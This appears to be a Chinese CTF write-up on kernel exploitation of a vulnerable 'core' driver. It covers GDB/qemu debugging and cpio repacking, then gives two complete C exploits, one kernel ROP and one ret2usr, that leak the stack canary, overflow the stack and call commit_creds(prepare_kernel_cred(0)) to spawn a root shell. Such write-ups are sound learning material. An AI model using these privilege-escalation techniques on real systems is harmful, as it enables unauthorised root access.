加载驱动的符号表
- 查看
.text
段的地址。 可以在/sys/modules/core/section/.text
查看。查看需要 root 权限,因此为了方便调试,我们再改一下 init
# setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh
重新打包,这样启动的时候,sh就是 root 权限了。
/ # cat /sys/module/core/sections/.text
0xffffffffc0347000
- 加载符号表
语法:add-symbol-file core.ko testaddr
add-symbol-file ./core.ko 0xffffffffc0347000
GDB远程调试过程
#qemu-system-x86_64 --help | grep gdb
-gdb dev wait for gdb connection on 'dev'
-s shorthand for -gdb tcp::1234
可以通过 -gdb tcp:port
或者 -s
来开启调试端口,start.sh 中已经有了 -s,不必再自己设置。我们只要在gdb中target remote localhost:1234
即可。
先启动start.sh脚本,开启qemu。然后再开一个终端,开gdb:
happy@ubuntu # gdb ./vmlinux -q
gef➤ add-symbol-file ./core.ko 0xffffffffc0347000
add symbol table from file "./core.ko" at
.text_addr = 0xffffffffc0347000
Reading symbols from ./core.ko...(no debugging symbols found)...done.
gef➤ b core_read
Breakpoint 1 at 0xffffffffc0347063
gef➤ target remote localhost:1234
Remote debugging using localhost:1234
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0xffffffff9f66e7d0 → 0x2e66001f0fc3f4fb → 0x2e66001f0fc3f4fb
...
0xffffffffa0003ef0│+0x0038: 0xffffffff9eeb673a → 0x564190909090f9eb → 0x564190909090f9eb
──────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0xffffffff9f66e7cf nop
0xffffffff9f66e7d0 sti
0xffffffff9f66e7d1 hlt
→ 0xffffffff9f66e7d2 ret
↳ 0xffffffff9eeb65a0 jmp 0xffffffff9eeb6541
0xffffffff9eeb65a2 mov rsi, r14
0xffffffff9eeb65a5 mov rdi, r15
0xffffffff9eeb65a8 call 0xffffffff9f4420b0
0xffffffff9eeb65ad mov rsi, r14
0xffffffff9eeb65b0 mov rdi, r15
──────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "", stopped, reason: SIGTRAP
────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0xffffffff9f66e7d2 → ret
[#1] 0xffffffff9eeb65a0 → jmp 0xffffffff9eeb6541
[#2] 0xc2 → irq_stack_union()
[#3] 0xffffffffa04c4900 → int3
[#4] 0xffffa0da4d8b9900 → jb 0xffffa0da4d8b9971
[#5] 0xffffffffa04cc2c0 → int3
─────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xffffffff9f66e7d2 in ?? ()
gef➤ c
Continuing.
然后找到两个函数的基址
/ # cat /tmp/kallsyms | grep commit_creds
ffffffff9369c8e0 T commit_creds
/ # cat /tmp/kallsyms | grep prepare_kernel_cred
ffffffff9369cce0 T prepare_kernel_cred
找到vmlinux的代码段基址为0xffffffff81000000
# readelf -S vmlinux | grep .text
[ 1] .text PROGBITS ffffffff81000000 00200000
或者
checksec vmlinux
[*] '/home/happy/ctf/kernelpwn/give_to_player/vmlinux'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
pwntools调试基址
# bpython
>>> from pwn import *
>>> vmlinux=ELF("./vmlinux")
[*] '/home/happy/ctf/kernelpwn/give_to_player/vmlinux'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds']-0xffffffff81000000)
'0x7fc8d'
内核和用户态的切换
用户态进入内核态
进内核态之前做的事情:swapgs、交换栈顶、push保存各种寄存器,我们只需要关注进内核时前5个push(因为第5个是ip寄存器)。
即
内核态返回用户态
在着陆时(返回用户态时)执行swapgs; iretq
,之前说过需要设置 cs, rflags 等信息,可以写一个函数保存这些信息。iretq恢复当初push保存的寄存器时,栈顶并不在当初的位置,这就需要我们在栈溢出的payload中构造上且要注意顺序,因此我们的这个save_status函数正是做到了预先将这五个决定能否平安着陆的寄存器保存到用户变量里,然后在payload里按顺序部署好,最后也就保证了成功的着陆回用户空间。 - 注意进kernel时这五个寄存器最后做的是push保存了进之前的eip也就是用户空间的eip,我们的payload中将这个位置的值设置成get_shell函数的地址,回归以后就直接去执行get_shell了!
save_status
保存寄存器部分
// intel flavor assembly
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
// at&t flavor assembly
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
Gadget General
ropper --file ./vmlinux --nocolor > g1
或者
ROPgadget --binary ./vmlinux > g2
PS:
测试gadget的时候,要用cpio解包出来的vmlinux。原来调试的时候用的一直是带符号表的vmlinux,导致gadget的地址都是错误的。😂
grep正则表达式
- 查找mov rdi, eax开头的gadget
grep -n "^.\{20\}mov rdi, rax;" g1
grep -n "^.\{20\}mov rdi, rax; call" g1 | grep -v "xor eax, eax"
调试
先查看符号地址。两个符号同时查看下。
grep -e commit_creds -e prepare_kernel_cred /tmp/kallsyms
然后执行exp文件,与gdb联调即可。
EXP和脚本
解压脚本
#! /bin/sh
FILE_NAME=$1
DIR_NAME="cores"
if [ ! -d "$DIR_NAME" ]; then
mkdir $DIR_NAME
fi
cd $DIR_NAME && cp "../"$FILE_NAME $FILE_NAME".gz"
gunzip "./"$FILE_NAME".gz"
cpio -idm < $FILE_NAME
用法./unzip_cpio.sh core.cpio
然后会在当前目录下面的cores目录中,生成解压后的文件。
重打包脚本
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1
用法./gen_cpio.sh
exp生成与自动打包脚本
Makefile文件
.PHONY=create all
create: /home/happy/c_project/core/exp_core.c
rm exp
gcc /home/happy/c_project/core/exp_core.c -static -masm=intel -g -o exp
all: create
cp exp ./core/exp
cd ./core && ./gen_cpio.sh core.cpio && cp core.cpio ../core.cpio
用法:make all
即可自动更新当前下的core.cpio文件
EXP (Kernel ROP)
//
// Created by happy on 7/25/19.
//
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <zconf.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
void spawn_shell() {
if (!getuid()) {
system("/bin/sh");
} else {
puts("[*] spawn shell fail!");
}
exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[*]open kallsyms fail!");
exit(0);
}
char buf[0x30] = {0};
while (fgets(buf, 0x30, kallsyms_fd)) {
if (commit_creds & prepare_kernel_cred) {
return 0;
}
if (strstr(buf, "commit_creds") && !commit_creds) {
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%zx", &commit_creds);
printf("[+]commit_creds address : %zx\n", commit_creds);
/*
HERE WE WRONGLY USE THE VMLINUX WITH THE symbols version!!
>>> from pwn import *
>>> vmlinux=ELF("./vmlinux")
[*] '/home/happy/ctf/kernelpwn/give_to_player/vmlinux'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds']-0xffffffff81000000)
'0x7fc8d'*/
/*
* BUT THE OFFSET CHANGE
HERE IS THE CORRECT VERSION
vm=ELF('core/vmlinux')
[*] '/home/happy/ctf/kernelpwn/give_to_player/core/vmlinux'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vm.symbols['commit_creds']-0xffffffff81000000)
'0x9c8e0'
>>> hex(vm.symbols['prepare_kernel_cred']-0xffffffff81000000)
'0x9cce0'
* */
vmlinux_base = commit_creds - 0x9c8e0;
printf("[+]vmlinux base addr: %zx\n", vmlinux_base);
}
if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) {
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("[+]prepare_kernel_cred address : %zx\n", prepare_kernel_cred);
}
}
if (!(prepare_kernel_cred && commit_creds)) {
puts("[*]ERROR!");
exit(0);
}
}
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+]save status.");
}
void set_off(int fd, long long idx) {
printf("[+]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}
void core_read(int fd, char *buf) {
puts("[+]read to buf");
ioctl(fd, 0x6677889B, buf);
}
void core_copy_func(int fd, long long size) {
printf("[+]copy from user with size: %d\n", (unsigned short int) size);
ioctl(fd, 0x6677889A, size);
}
int main() {
save_status();
int fd = open("/proc/core", 2);
if (fd < 0) {
puts("[*]open /proc/core fail");
exit(0);
}
find_symbols();
ssize_t offset = vmlinux_base - raw_vmlinux_base;
printf("[+]offset : %p\n", offset);
set_off(fd, 0x40);
char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *) buf)[0];
printf("[+]Canary : %p\n", canary);
size_t rop[0x1000] = {0};
int i = 0;
for (i = 0; i < 10; i++) { // overflow __int64 v3; // [rsp+0h] [rbp-50h]
// and canary
rop[i] = canary;
}
/*//parameter call: rdi, rsi, rdx, rcx, r8, r9
rop[i++] = 0xffffffff8121eea5 + offset; //0xffffffff8121eea5: nop; pop rdi; ret;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810282f1 + offset;//0xffffffff810282f1: pop rdx; ret;
rop[i++] = 0xffffffff810ca8f0 + offset;//0xffffffff810ca8f0: pop rcx; ret;
rop[i++] = 0xffffffff8100d054 + offset;//0xffffffff8100d054: mov rdi, rax; call rdx;
rop[i++] = commit_creds;
//grep "swapgs" g1
//0xffffffff818012da: swapgs; popfq; ret;
rop[i++] = 0xffffffff818012da + offset;
rop[i++] = 0;
//0xffffffff81040a52: iretq; ret;
rop[i++] = 0xffffffff81040a52 + offset;*/
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
//rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; //grep "^.\{20\}mov rdi, rax; call rdx;" g1
rop[i++] = commit_creds;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t) spawn_shell;//rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x800);
core_copy_func(fd, 0xFFFFFFFFFFFF0000 | (0x100));
return 0;
}
EXP (ret2usr)
ret2usr 攻击利用了 用户空间的进程不能访问内核空间,但内核空间能访问用户空间这个特性来定向内核代码或数据流指向用户控件,以 ring 0 特权执行用户空间代码完成提权等操作。
比较一下和kernel rop做法的异同。
- 通过读取
/tmp/kallsyms
获取commit_creds
和prepare_kernel_cred
的方法相同,同时根据这些偏移能确定 gadget 的地址。 - leak canary 的方法也相同,通过控制全局变量
off
读出 canary。 - 与 kernel rop 做法不同的是 rop 链的构造
- kernel rop 通过 内核空间的 rop 链达到执行
commit_creds(prepare_kernel_cred(0))
以提权目的,之后通过swapgs; iretq
等返回到用户态,执行用户空间的system("/bin/sh")
获取 shell - ret2usr 做法中,直接返回到用户空间构造的
commit_creds(prepare_kernel_cred(0))
(通过函数指针实现)来提权,虽然这两个函数位于内核空间,但此时我们是ring 0
特权,因此可以正常运行。之后也是通过swapgs; iretq
返回到用户态来执行用户空间的system("/bin/sh")
- kernel rop 通过 内核空间的 rop 链达到执行
从这两种做法的比较可以体会出之所以要 ret2usr
,是因为一般情况下在用户空间构造特定目的的代码要比在内核空间简单得多。
//
// Created by happy on 7/25/19.
//
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <zconf.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
void spawn_shell() {
if (!getuid()) {
system("/bin/sh");
} else {
puts("[*] spawn shell fail!");
}
exit(0);
}
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols() {
FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
if (kallsyms_fd < 0) {
puts("[*]open kallsyms fail!");
exit(0);
}
char buf[0x30] = {0};
while (fgets(buf, 0x30, kallsyms_fd)) {
if (commit_creds & prepare_kernel_cred) {
return 0;
}
if (strstr(buf, "commit_creds") && !commit_creds) {
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%zx", &commit_creds);
printf("[+]commit_creds address : %zx\n", commit_creds);
/*
>>> from pwn import *
>>> vmlinux=ELF("./vmlinux")
[*] '/home/happy/ctf/kernelpwn/give_to_player/vmlinux'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym['commit_creds']-0xffffffff81000000)
'0x7fc8d'*/
/*
* BUT THE OFFSET CHANGE
vm=ELF('core/vmlinux')
[*] '/home/happy/ctf/kernelpwn/give_to_player/core/vmlinux'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vm.symbols['commit_creds']-0xffffffff81000000)
'0x9c8e0'
>>> hex(vm.symbols['prepare_kernel_cred']-0xffffffff81000000)
'0x9cce0'
* */
vmlinux_base = commit_creds - 0x9c8e0;
printf("[+]vmlinux base addr: %zx\n", vmlinux_base);
}
if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred) {
char hex[20] = {0};
strncpy(hex, buf, 16);
sscanf(hex, "%llx", &prepare_kernel_cred);
printf("[+]prepare_kernel_cred address : %zx\n", prepare_kernel_cred);
}
}
if (!(prepare_kernel_cred && commit_creds)) {
puts("[*]ERROR!");
exit(0);
}
}
size_t user_cs, user_ss, user_rflags, user_sp;
void get_root(){
char* (*pkc)(int)=prepare_kernel_cred;
void (*cc)(char*)=commit_creds;
(*cc)((*pkc)(0));
}
void save_status() {
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[+]save status.");
}
void set_off(int fd, long long idx) {
printf("[+]set off to %ld\n", idx);
ioctl(fd, 0x6677889C, idx);
}
void core_read(int fd, char *buf) {
puts("[+]read to buf");
ioctl(fd, 0x6677889B, buf);
}
void core_copy_func(int fd, long long size) {
printf("[+]copy from user with size: %d\n", (unsigned short int) size);
ioctl(fd, 0x6677889A, size);
}
int main() {
save_status();
int fd = open("/proc/core", 2);
if (fd < 0) {
puts("[*]open /proc/core fail");
exit(0);
}
find_symbols();
ssize_t offset = vmlinux_base - raw_vmlinux_base;
printf("[+]offset : %p\n", offset);
set_off(fd, 0x40);
char buf[0x40] = {0};
core_read(fd, buf);
size_t canary = ((size_t *) buf)[0];
printf("[+]Canary : %p\n", canary);
size_t rop[0x200] = {0};
int i = 0;
for (i = 0; i < 10; i++) { // overflow __int64 v3; // [rsp+0h] [rbp-50h]
// and canary
rop[i] = canary;
}
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t) spawn_shell;//rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd, rop, 0x200);
core_copy_func(fd, 0xFFFFFFFFFFFF0000 | (0x100));
return 0;
}
网友评论